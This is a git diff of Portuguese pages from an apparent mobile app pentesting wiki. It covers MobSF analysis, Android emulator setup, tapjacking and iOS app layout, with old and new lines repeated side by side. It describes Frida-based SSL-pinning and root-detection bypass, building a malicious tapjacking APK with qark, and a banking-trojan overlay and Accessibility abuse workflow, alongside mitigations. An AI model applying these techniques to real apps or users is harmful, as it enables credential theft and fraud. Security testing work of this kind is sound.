Além disso, se você criar um arquivo **ZIP** com o código-fonte de um aplicativo **Android** ou **IOS** (vá para a pasta raiz do aplicativo, selecione tudo e crie um arquivo ZIP), ele também poderá analisá-lo.
O MobSF também permite que você faça uma análise **diff/Compare** e integre o **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **enviado** em vez do arquivo.
O MobSF também permite que você **diff/Compare** análises e integre **VirusTotal** (você precisará definir sua chave de API em _MobSF/settings.py_ e habilitá-la: `VT_ENABLED = TRUE` `VT_API_KEY = <Sua chave de API>` `VT_UPLOAD = TRUE`). Você também pode definir `VT_UPLOAD` como `False`, então o **hash** será **upload** em vez do arquivo.
### Análise Dinâmica Assistida com MobSF
**MobSF** também pode ser muito útil para **análise dinâmica** em **Android**, mas nesse caso você precisará instalar o MobSF e **genymotion** em seu host (uma VM ou Docker não funcionará). _Nota: Você precisa **iniciar primeiro uma VM no genymotion** e **depois o MobSF.**_\
O **analisador dinâmico do MobSF** pode:
- **Extrair dados da aplicação** (URLs, logs, área de transferência, capturas de tela feitas por você, capturas de tela feitas por "**Exported Activity Tester**", e-mails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas capturas de tela, você precisa pressionar quando quiser uma captura de tela ou precisa pressionar "**Exported Activity Tester**" para obter capturas de tela de todas as atividades exportadas.
- Capturar **tráfego HTTPS**
- Usar **Frida** para obter **informações em tempo de execução**
- **Dump application data** (URLs, logs, clipboard, screenshots feitas por você, screenshots feitas por "**Exported Activity Tester**", emails, bancos de dados SQLite, arquivos XML e outros arquivos criados). Tudo isso é feito automaticamente, exceto pelas screenshots, você precisa pressionar quando quiser uma screenshot ou precisa pressionar "**Exported Activity Tester**" para obter screenshots de todas as atividades exportadas.
- Capturar **HTTPS traffic**
- Usar **Frida** para obter **runtime** **information**
A partir das versões **Android > 5**, ele **iniciará automaticamente o Frida** e definirá configurações de **proxy** globais para **capturar** o tráfego. Ele capturará apenas o tráfego do aplicativo testado.
**Frida**
Por padrão, ele também usará alguns Scripts Frida para **contornar a verificação de SSL**, **detecção de root** e **detecção de depurador** e para **monitorar APIs interessantes**.\
O MobSF também pode **invocar atividades exportadas**, capturar **capturas de tela** delas e **salvá-las** para o relatório.
Por padrão, ele também usará alguns Scripts Frida para **bypass SSL pinning**, **root detection** e **debugger detection** e para **monitorar APIs interessantes**.\
O MobSF também pode **invocar atividades exportadas**, capturar **screenshots** delas e **salvá-las** para o relatório.
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos conectados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
Para **iniciar** o teste dinâmico, pressione o botão verde: "**Start Instrumentation**". Pressione "**Frida Live Logs**" para ver os logs gerados pelos scripts Frida e "**Live API Monitor**" para ver todas as invocações para métodos hookados, argumentos passados e valores retornados (isso aparecerá após pressionar "Start Instrumentation").\
O MobSF também permite que você carregue seus próprios **scripts Frida** (para enviar os resultados dos seus scripts Frida para o MobSF, use a função `send()`). Ele também possui **vários scripts pré-escritos** que você pode carregar (você pode adicionar mais em `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **selecioná-los**, pressionar "**Load**" e pressionar "**Start Instrumentation**" (você poderá ver os logs desses scripts dentro de "**Frida Live Logs**").
![](<../../images/image (419).png>)
Além disso, você tem algumas funcionalidades auxiliares do Frida:
- **Enumerar Classes Carregadas**: Ele imprimirá todas as classes carregadas
- **Capturar Strings**: Ele imprimirá todas as strings capturadas enquanto usa o aplicativo (muito barulhento)
- **Capturar Comparações de Strings**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
- **Enumerar Métodos de Classe**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
- **Pesquisar Padrão de Classe**: Pesquisar classes por padrão
- **Rastrear Métodos de Classe**: **Rastrear** uma **classe inteira** (ver entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF rastreia vários métodos interessantes da API do Android.
- **Enumerate Loaded Classes**: Ele imprimirá todas as classes carregadas
- **Capture Strings**: Ele imprimirá todas as strings capturadas enquanto usa o aplicativo (muito barulhento)
- **Capture String Comparisons**: Pode ser muito útil. Ele **mostrará as 2 strings sendo comparadas** e se o resultado foi Verdadeiro ou Falso.
- **Enumerate Class Methods**: Coloque o nome da classe (como "java.io.File") e ele imprimirá todos os métodos da classe.
- **Search Class Pattern**: Pesquisar classes por padrão
- **Trace Class Methods**: **Trace** uma **classe inteira** (veja entradas e saídas de todos os métodos da classe). Lembre-se de que, por padrão, o MobSF traça vários métodos interessantes da API Android.
Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Instrumentation**" e verá todas as saídas em "**Frida Live Logs**".
Uma vez que você tenha selecionado o módulo auxiliar que deseja usar, você precisa pressionar "**Start Intrumentation**" e verá todas as saídas em "**Frida Live Logs**".
**Shell**
O MobSF também oferece um shell com alguns comandos **adb**, **comandos MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
O MobSF também traz um shell com alguns comandos **adb**, **comandos MobSF** e comandos comuns de **shell** na parte inferior da página de análise dinâmica. Alguns comandos interessantes:
```bash
help
shell ls
@ -594,7 +603,7 @@ receivers
Quando o tráfego http é capturado, você pode ver uma visão feia do tráfego capturado no "**Tráfego HTTP(S)**" na parte inferior ou uma visão mais agradável no botão verde "**Iniciar HTTPTools**". A partir da segunda opção, você pode **enviar** as **requisições capturadas** para **proxies** como Burp ou Owasp ZAP.\
Para fazer isso, _ligue o Burp -->_ _desative o Intercept --> no MobSB HTTPTools selecione a requisição_ --> pressione "**Enviar para Fuzzer**" --> _selecione o endereço do proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar por vulnerabilidades.
Uma vez que você termine a análise dinâmica com MobSF, você pode pressionar em "**Iniciar Web API Fuzzer**" para **fuzz http requests** e procurar vulnerabilidades.
> [!TIP]
> Após realizar uma análise dinâmica com MobSF, as configurações do proxy podem estar mal configuradas e você não conseguirá corrigi-las pela GUI. Você pode corrigir as configurações do proxy fazendo:
@ -616,7 +625,7 @@ Esta é uma **ótima ferramenta para realizar análise estática com uma GUI**
### [Qark](https://github.com/linkedin/qark)
Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um APK "Proof-of-Concept" implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste.
Esta ferramenta é projetada para procurar várias **vulnerabilidades relacionadas à segurança em aplicações Android**, seja no **código fonte** ou em **APKs empacotados**. A ferramenta também é **capaz de criar um "Proof-of-Concept" APK implantável** e **comandos ADB**, para explorar algumas das vulnerabilidades encontradas (Atividades expostas, intents, tapjacking...). Assim como com o Drozer, não há necessidade de rootear o dispositivo de teste.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -650,7 +659,7 @@ super-analyzer {apk_file}
StaCoAn é uma ferramenta **multiplataforma** que ajuda desenvolvedores, caçadores de bugs e hackers éticos a realizar [análise de código estático](https://en.wikipedia.org/wiki/Static_program_analysis) em aplicativos móveis.
O conceito é que você arraste e solte seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
O conceito é que você arrasta e solta seu arquivo de aplicativo móvel (um arquivo .apk ou .ipa) na aplicação StaCoAn e ela gerará um relatório visual e portátil para você. Você pode ajustar as configurações e listas de palavras para obter uma experiência personalizada.
Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
```
@ -658,7 +667,7 @@ Baixe a [última versão](https://github.com/vincentcox/StaCoAn/releases):
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
O AndroBugs Framework é um sistema de análise de vulnerabilidades para Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
AndroBugs Framework é um sistema de análise de vulnerabilidades Android que ajuda desenvolvedores ou hackers a encontrar potenciais vulnerabilidades de segurança em aplicações Android.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -678,7 +687,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** é um **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. É uma ferramenta que reúne ferramentas comumente usadas para engenharia reversa e análise de aplicativos móveis, para auxiliar na testagem de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
**MARA** é um **M**obile **A**pplication **R**everse engineering e **A**nalysis Framework. É uma ferramenta que reúne ferramentas comumente usadas para engenharia reversa e análise de aplicativos móveis, para ajudar na testagem de aplicativos móveis contra as ameaças de segurança móvel da OWASP. Seu objetivo é tornar essa tarefa mais fácil e amigável para desenvolvedores de aplicativos móveis e profissionais de segurança.
Ele é capaz de:
@ -707,27 +716,27 @@ ProGuard é distribuído como parte do SDK do Android e é executado ao construi
Encontre um guia passo a passo para deofuscar o apk em [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Daquele guia) Da última vez que verificamos, o modo de operação do Dexguard era:
(Daquele guia) Na última vez que verificamos, o modo de operação do Dexguard era:
- carregar um recurso como um InputStream;
- alimentar o resultado a uma classe que herda de FilterInputStream para descriptografá-lo;
- fazer alguma ofuscação inútil para desperdiçar alguns minutos de tempo de um reversor;
- fazer alguma ofuscação inútil para desperdiçar alguns minutos do tempo de um reversor;
- alimentar o resultado descriptografado a um ZipInputStream para obter um arquivo DEX;
- finalmente carregar o DEX resultante como um Recurso usando o método `loadDex`.
### [DeGuard](http://apk-deguard.com)
**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação do Android. Isso possibilita inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.**
**DeGuard reverte o processo de ofuscação realizado por ferramentas de ofuscação do Android. Isso permite inúmeras análises de segurança, incluindo inspeção de código e previsão de bibliotecas.**
Você pode enviar um APK ofuscado para a plataforma deles.
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Esta é uma ferramenta LLM para encontrar quaisquer vulnerabilidades de segurança potenciais em aplicativos android e deofuscar o código do aplicativo android. Usa a API pública Gemini do Google.
### [Simplify](https://github.com/CalebFenton/simplify)
É um **deofuscador android genérico.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação utilizado.
É um **deofuscador android genérico.** Simplify **executa virtualmente um aplicativo** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual o tipo específico de ofuscação utilizada.
### [APKiD](https://github.com/rednaga/APKiD)

30
src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
View File

@ -26,7 +26,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
## GUI
### Prepare Virtual Machine
### Preparar Máquina Virtual
Se você instalou o Android Studio, pode apenas abrir a visualização principal do projeto e acessar: _**Tools**_ --> _**AVD Manager.**_
@ -36,14 +36,14 @@ Se você instalou o Android Studio, pode apenas abrir a visualização principal
</div>
Então, clique em _**Create Virtual Device**_
Em seguida, clique em _**Create Virtual Device**_
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
_**selecione** o telefone que você deseja usar_ e clique em _**Next.**_
> [!WARNING]
> Se você precisar de um telefone com o Play Store instalado, selecione um com o ícone do Play Store nele!
> Se você precisar de um telefone com o Play Store instalado, selecione um com o ícone do Play Store!
>
> <img src="../../images/image (1144).png" alt="" data-size="original">
@ -51,18 +51,21 @@ Na visualização atual, você poderá **selecionar e baixar a imagem do Android
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
Então, selecione e, se não estiver baixado, clique no símbolo de _**Download**_ ao lado do nome (**agora aguarde até que a imagem seja baixada).**\
Então, selecione-a e, se não estiver baixada, clique no símbolo de _**Download**_ ao lado do nome (**agora aguarde até que a imagem seja baixada).**\
Uma vez que a imagem esteja baixada, basta selecionar **`Next`** e **`Finish`**.
A máquina virtual será criada. Agora **toda vez que você acessar o AVD manager, ela estará presente**.
### Run Virtual Machine
### Executar Máquina Virtual
Para **executá-la**, basta pressionar o _**Start button**_.
![](<../../images/image (518).png>)
## Command Line tool
## Ferramenta de Linha de Comando
> [!WARNING]
> Para macOS, você pode encontrar a ferramenta `avdmanager` em `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` e o `emulator` em `/Users/<username>/Library/Android/sdk/emulator/emulator` se você os tiver instalados.
Primeiramente, você precisa **decidir qual telefone deseja usar**, para ver a lista de telefones possíveis, execute:
```
@ -121,8 +124,8 @@ Neste momento, você decidiu o dispositivo que deseja usar e baixou a imagem do
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
No último comando **eu criei uma VM chamada** "_AVD9_" usando o **dispositivo** "_Nexus 5X_" e a **imagem do Android** "_system-images;android-28;google_apis;x86_64_".\
Agora você pode **listar as máquinas virtuais** que você criou com:
No último comando **criei uma VM chamada** "_AVD9_" usando o **dispositivo** "_Nexus 5X_" e a **imagem do Android** "_system-images;android-28;google_apis;x86_64_".\
Agora você pode **listar as máquinas virtuais** que criou com:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -139,6 +142,9 @@ Error: Google pixel_2 no longer exists as a device
```
### Executar Máquina Virtual
> [!WARNING]
> Para macOS, você pode encontrar a ferramenta `avdmanager` em `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` e o `emulator` em `/Users/<username>/Library/Android/sdk/emulator/emulator` se você os tiver instalados.
Já vimos como você pode listar as máquinas virtuais criadas, mas **você também pode listá-las usando**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
@ -156,7 +162,7 @@ C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht
```
### Opções de linha de comando
No entanto, existem **muitas opções úteis de linha de comando** que você pode usar para iniciar uma máquina virtual. Abaixo você pode encontrar algumas opções interessantes, mas pode [**encontrar uma lista completa aqui**](https://developer.android.com/studio/run/emulator-commandline)
No entanto, existem **muitas opções úteis de linha de comando** que você pode usar para iniciar uma máquina virtual. Abaixo, você pode encontrar algumas opções interessantes, mas pode [**encontrar uma lista completa aqui**](https://developer.android.com/studio/run/emulator-commandline)
**Inicialização**
@ -167,6 +173,8 @@ No entanto, existem **muitas opções úteis de linha de comando** que você pod
- `-dns-server 192.0.2.0, 192.0.2.255` : Permitir indicar os servidores DNS separados por vírgula para a VM.
- **`-http-proxy 192.168.1.12:8080`** : Permitir indicar um proxy HTTP a ser usado (muito útil para capturar o tráfego usando Burp)
- Se as configurações do proxy não estiverem funcionando por algum motivo, tente configurá-las internamente ou usando um aplicativo como "Super Proxy" ou "ProxyDroid".
- `-netdelay 200` : Definir a emulação de latência de rede em milissegundos.
- `-port 5556` : Definir o número da porta TCP que é usado para o console e adb.
- `-ports 5556,5559` : Definir as portas TCP usadas para o console e adb.
- **`-tcpdump /path/dumpfile.cap`** : Capturar todo o tráfego em um arquivo
@ -178,9 +186,9 @@ No entanto, existem **muitas opções úteis de linha de comando** que você pod
- `-screen {touch(default)|multi-touch|o-touch}` : Definir o modo de tela sensível ao toque emulado.
- **`-writable-system`** : Use esta opção para ter uma imagem de sistema gravável durante sua sessão de emulação. Você também precisará executar `adb root; adb remount`. Isso é muito útil para instalar um novo certificado no sistema.
## Rooting de um dispositivo da Play Store
## Rooting um dispositivo da Play Store
Se você baixou um dispositivo com a Play Store, não conseguirá obter root diretamente, e você receberá esta mensagem de erro
Se você baixou um dispositivo com a Play Store, não conseguirá obter root diretamente, e receberá esta mensagem de erro
```
$ adb root
adbd cannot run as root in production builds

19
src/mobile-pentesting/android-app-pentesting/tapjacking.md
View File

@ -4,12 +4,12 @@
## **Informações Básicas**
**Tapjacking** é um ataque onde um **aplicativo malicioso** é lançado e **se posiciona em cima de um aplicativo vítima**. Uma vez que ele obscurece visivelmente o aplicativo vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo vítima.\
Na prática, isso **cega o usuário para que ele não saiba que está realmente realizando ações no aplicativo vítima**.
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente a aplicação vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ela, enquanto passa a interação para a aplicação vítima.\
Na prática, isso **cega o usuário para que ele não saiba que está realmente realizando ações na aplicação vítima**.
### Detecção
Para detectar aplicativos vulneráveis a este ataque, você deve procurar por **atividades exportadas** no manifesto do android (note que uma atividade com um intent-filter é automaticamente exportada por padrão). Uma vez que você tenha encontrado as atividades exportadas, **verifique se elas requerem alguma permissão**. Isso ocorre porque o **aplicativo malicioso também precisará dessa permissão**.
Para detectar aplicativos vulneráveis a este ataque, você deve procurar por **atividades exportadas** no manifesto android (note que uma atividade com um intent-filter é automaticamente exportada por padrão). Uma vez que você tenha encontrado as atividades exportadas, **verifique se elas requerem alguma permissão**. Isso ocorre porque a **aplicação maliciosa também precisará dessa permissão**.
Você também pode verificar a versão mínima do SDK do aplicativo, checando o valor de **`android:minSdkVersion`** no arquivo **`AndroidManifest.xml`**. Se o valor for **menor que 30**, o aplicativo é vulnerável ao Tapjacking.
@ -17,7 +17,7 @@ Você também pode verificar a versão mínima do SDK do aplicativo, checando o
#### Android 12 (API 31,32) e superior
[**De acordo com esta fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** ataques de tapjacking são automaticamente prevenidos pelo Android a partir do Android 12 (API 31 & 30) e superior. Portanto, mesmo que o aplicativo seja vulnerável, você **não poderá explorá-lo**.
[**De acordo com esta fonte**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** ataques de tapjacking são automaticamente prevenidos pelo Android a partir do Android 12 (API 31 & 30) e superior. Portanto, mesmo que a aplicação seja vulnerável, você **não poderá explorá-la**.
#### `filterTouchesWhenObscured`
@ -50,7 +50,7 @@ Um projeto de exemplo implementando **FloatingWindowApp**, que pode ser usado pa
### Qark
> [!CAUTION]
> Parece que este projeto agora não está mais mantido e essa funcionalidade não está funcionando corretamente.
> Parece que este projeto agora não está mais mantido e essa funcionalidade não está funcionando corretamente
Você pode usar [**qark**](https://github.com/linkedin/qark) com os parâmetros `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` para criar um aplicativo malicioso para testar possíveis vulnerabilidades de **Tapjacking**.\
@ -58,7 +58,7 @@ A mitigação é relativamente simples, pois o desenvolvedor pode optar por não
> Às vezes, é essencial que um aplicativo possa verificar se uma ação está sendo realizada com o pleno conhecimento e consentimento do usuário, como conceder uma solicitação de permissão, fazer uma compra ou clicar em um anúncio. Infelizmente, um aplicativo malicioso poderia tentar enganar o usuário para realizar essas ações, sem que ele perceba, ocultando o propósito pretendido da visualização. Como remédio, o framework oferece um mecanismo de filtragem de toque que pode ser usado para melhorar a segurança das visualizações que fornecem acesso a funcionalidades sensíveis.
>
> Para habilitar a filtragem de toque, chame [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou defina o atributo de layout android:filterTouchesWhenObscured como true. Quando habilitado, o framework descartará toques que forem recebidos sempre que a janela da visualização estiver obscurecida por outra janela visível. Como resultado, a visualização não receberá toques sempre que um toast, diálogo ou outra janela aparecer acima da janela da visualização.
> Para habilitar a filtragem de toque, chame [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou defina o atributo de layout android:filterTouchesWhenObscured como verdadeiro. Quando habilitado, o framework descartará toques que forem recebidos sempre que a janela da visualização estiver obscurecida por outra janela visível. Como resultado, a visualização não receberá toques sempre que um toast, diálogo ou outra janela aparecer acima da janela da visualização.
---
@ -87,20 +87,21 @@ wm.addView(phishingView, lp);
```
### Fluxo de trabalho típico usado por Trojans bancários
* Consultar pacotes instalados (`QUERY_ALL_PACKAGES`) para descobrir qual aplicativo bancário / de carteira está atualmente aberto.
* Baixar um **template de sobreposição HTML/JS** do C2 que imita perfeitamente aquele aplicativo específico (Logo, cores, strings i18n…).
* Baixar um **template de sobreposição HTML/JS** do C2 que imita perfeitamente aquele aplicativo específico (Logo, cores, strings de i18n…).
* Exibir a sobreposição, coletar credenciais/PIN/padrão.
* Usar a **API de Acessibilidade** (`performGlobalAction`, `GestureDescription`) para automatizar transferências em segundo plano.
### Detecção e Mitigação
* Auditar a lista de aplicativos instalados com `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
* Do lado do aplicativo (banco / carteira):
- Habilitar **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) em visualizações sensíveis para bloquear serviços não da Play Store.
- Ativar **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) em visualizações sensíveis para bloquear serviços não da Play Store.
- Combinar com `setFilterTouchesWhenObscured(true)` e `FLAG_SECURE`.
* Dureza do sistema:
- Desativar *Instalar de Fontes Desconhecidas* e *Acessibilidade para aplicativos não confiáveis*.
- Aplicar PlayProtect e dispositivos atualizados.
Para detalhes adicionais sobre como aproveitar os Serviços de Acessibilidade para controle total remoto do dispositivo (por exemplo, PlayPraetor, SpyNote, etc.), veja:
Para detalhes adicionais sobre como aproveitar os Serviços de Acessibilidade para controle total remoto do dispositivo (por exemplo, PlayPraetor, SpyNote, etc.) veja:
{{#ref}}
accessibility-services-abuse.md

60
src/mobile-pentesting/ios-pentesting/README.md
View File

@ -20,7 +20,7 @@ ios-testing-environment.md
### Basic iOS Testing Operations
Durante o teste **várias operações serão sugeridas** (conectar ao dispositivo, ler/escrever/enviar/baixar arquivos, usar algumas ferramentas...). Portanto, se você não souber como realizar alguma dessas ações, por favor, **comece a ler a página**:
Durante o teste **várias operações serão sugeridas** (conectar ao dispositivo, ler/escrever/enviar/baixar arquivos, usar algumas ferramentas...). Portanto, se você não souber como realizar qualquer uma dessas ações, por favor, **comece a ler a página**:
{{#ref}}
basic-ios-testing-operations.md
@ -32,7 +32,7 @@ basic-ios-testing-operations.md
### Basic Static Analysis
Alguns decompiladores interessantes de iOS - IPA:
Alguns decompiladores interessantes de arquivos iOS - IPA:
- [https://github.com/LaurieWired/Malimite](https://github.com/LaurieWired/Malimite)
- [https://ghidra-sre.org/](https://ghidra-sre.org/)
@ -156,6 +156,7 @@ PID Name Identifier
Aprenda como **enumerar os componentes da aplicação** e como **hookear métodos e classes** com objection:
{{#ref}}
ios-hooking-with-objection.md
{{#endref}}
@ -168,17 +169,17 @@ A estrutura de um **arquivo IPA** é essencialmente a de um **pacote zipado**. A
- **`_CodeSignature/`**: Este diretório inclui um arquivo plist que contém uma assinatura, garantindo a integridade de todos os arquivos no bundle.
- **`Assets.car`**: Um arquivo compactado que armazena arquivos de ativos, como ícones.
- **`Frameworks/`**: Esta pasta abriga as bibliotecas nativas da aplicação, que podem estar na forma de arquivos `.dylib` ou `.framework`.
- **`PlugIns/`**: Isso pode incluir extensões para a aplicação, conhecidas como arquivos `.appex`, embora nem sempre estejam presentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes da sua aplicação para uso offline, para armazenar dados temporários e para adicionar funcionalidade de desfazer à sua aplicação em um único dispositivo. Para sincronizar dados entre vários dispositivos em uma única conta do iCloud, o Core Data espelha automaticamente seu esquema para um contêiner do CloudKit.
- **`PlugIns/`**: Isso pode incluir extensões para a aplicação, conhecidas como arquivos `.appex`, embora nem sempre estejam presentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): É usado para salvar os dados permanentes da sua aplicação para uso offline, para armazenar dados temporários e para adicionar funcionalidade de desfazer ao seu app em um único dispositivo. Para sincronizar dados entre vários dispositivos em uma única conta do iCloud, o Core Data espelha automaticamente seu esquema para um contêiner do CloudKit.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): O arquivo `PkgInfo` é uma maneira alternativa de especificar os códigos de tipo e criador da sua aplicação ou bundle.
- **en.lproj, fr.proj, Base.lproj**: São os pacotes de idioma que contêm recursos para esses idiomas específicos e um recurso padrão caso um idioma não seja suportado.
- **Segurança**: O diretório `_CodeSignature/` desempenha um papel crítico na segurança do aplicativo, verificando a integridade de todos os arquivos empacotados por meio de assinaturas digitais.
- **Segurança**: O diretório `_CodeSignature/` desempenha um papel crítico na segurança do app, verificando a integridade de todos os arquivos empacotados por meio de assinaturas digitais.
- **Gerenciamento de Ativos**: O arquivo `Assets.car` utiliza compressão para gerenciar eficientemente ativos gráficos, crucial para otimizar o desempenho da aplicação e reduzir seu tamanho total.
- **Frameworks e PlugIns**: Esses diretórios destacam a modularidade das aplicações iOS, permitindo que os desenvolvedores incluam bibliotecas de código reutilizáveis (`Frameworks/`) e estendam a funcionalidade do aplicativo (`PlugIns/`).
- **Localização**: A estrutura suporta vários idiomas, facilitando o alcance global da aplicação ao incluir recursos para pacotes de idiomas específicos.
- **Frameworks e PlugIns**: Esses diretórios destacam a modularidade das aplicações iOS, permitindo que os desenvolvedores incluam bibliotecas de código reutilizáveis (`Frameworks/`) e estendam a funcionalidade do app (`PlugIns/`).
- **Localização**: A estrutura suporta múltiplos idiomas, facilitando o alcance global da aplicação ao incluir recursos para pacotes de idiomas específicos.
**Info.plist**
O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de pares **chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de aplicativos e frameworks empacotados dentro. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de aplicativo até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
O **Info.plist** serve como uma pedra angular para aplicações iOS, encapsulando dados de configuração chave na forma de pares **chave-valor**. Este arquivo é um requisito não apenas para aplicações, mas também para extensões de app e frameworks empacotados dentro. Está estruturado em formato XML ou binário e contém informações críticas que vão desde permissões de app até configurações de segurança. Para uma exploração detalhada das chaves disponíveis, pode-se consultar a [**Documentação do Desenvolvedor Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Para aqueles que desejam trabalhar com este arquivo em um formato mais acessível, a conversão para XML pode ser realizada facilmente através do uso de `plutil` no macOS (disponível nativamente nas versões 10.2 e posteriores) ou `plistutil` no Linux. Os comandos para conversão são os seguintes:
@ -219,7 +220,7 @@ Alternativamente, o nome do aplicativo pode ser pesquisado dentro de `/private/v
```bash
find /private/var/containers -name "Progname*"
```
Comandos como `ps` e `lsof` também podem ser utilizados para identificar o processo do aplicativo e listar arquivos abertos, respectivamente, fornecendo informações sobre os caminhos de diretório ativos do aplicativo:
Comandos como `ps` e `lsof` também podem ser utilizados para identificar o processo do aplicativo e listar arquivos abertos, respectivamente, fornecendo informações sobre os caminhos de diretório ativos da aplicação:
```bash
ps -ef | grep -i <app-name>
lsof -p <pid> | grep -i "/containers" | head -n 1
@ -227,7 +228,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
**Diretório do pacote:**
- **AppName.app**
- Este é o Pacote da Aplicação, como visto anteriormente no IPA, contém dados essenciais da aplicação, conteúdo estático, bem como o binário compilado da aplicação.
- Este é o Pacote da Aplicação como visto anteriormente no IPA, contém dados essenciais da aplicação, conteúdo estático, bem como o binário compilado da aplicação.
- Este diretório é visível para os usuários, mas **os usuários não podem escrever nele**.
- O conteúdo deste diretório **não é salvo**.
- O conteúdo desta pasta é usado para **validar a assinatura do código**.
@ -248,13 +249,13 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- O conteúdo deste diretório **não é salvo**.
- O sistema operacional pode excluir automaticamente os arquivos deste diretório quando o app não está em execução e o espaço de armazenamento está baixo.
- **Library/Application Support/**
- Contém **arquivos persistentes** necessários para a execução do app.
- Contém **arquivos** **persistentes** necessários para a execução do app.
- **Invisível** **para** **os usuários** e os usuários não podem escrever nele.
- O conteúdo deste diretório **é salvo**.
- O app pode desabilitar caminhos configurando `NSURLIsExcludedFromBackupKey`.
- **Library/Preferences/**
- Usado para armazenar propriedades que podem **persistir mesmo após a reinicialização de uma aplicação**.
- As informações são salvas, sem criptografia, dentro do sandbox da aplicação em um arquivo plist chamado \[BUNDLE_ID].plist.
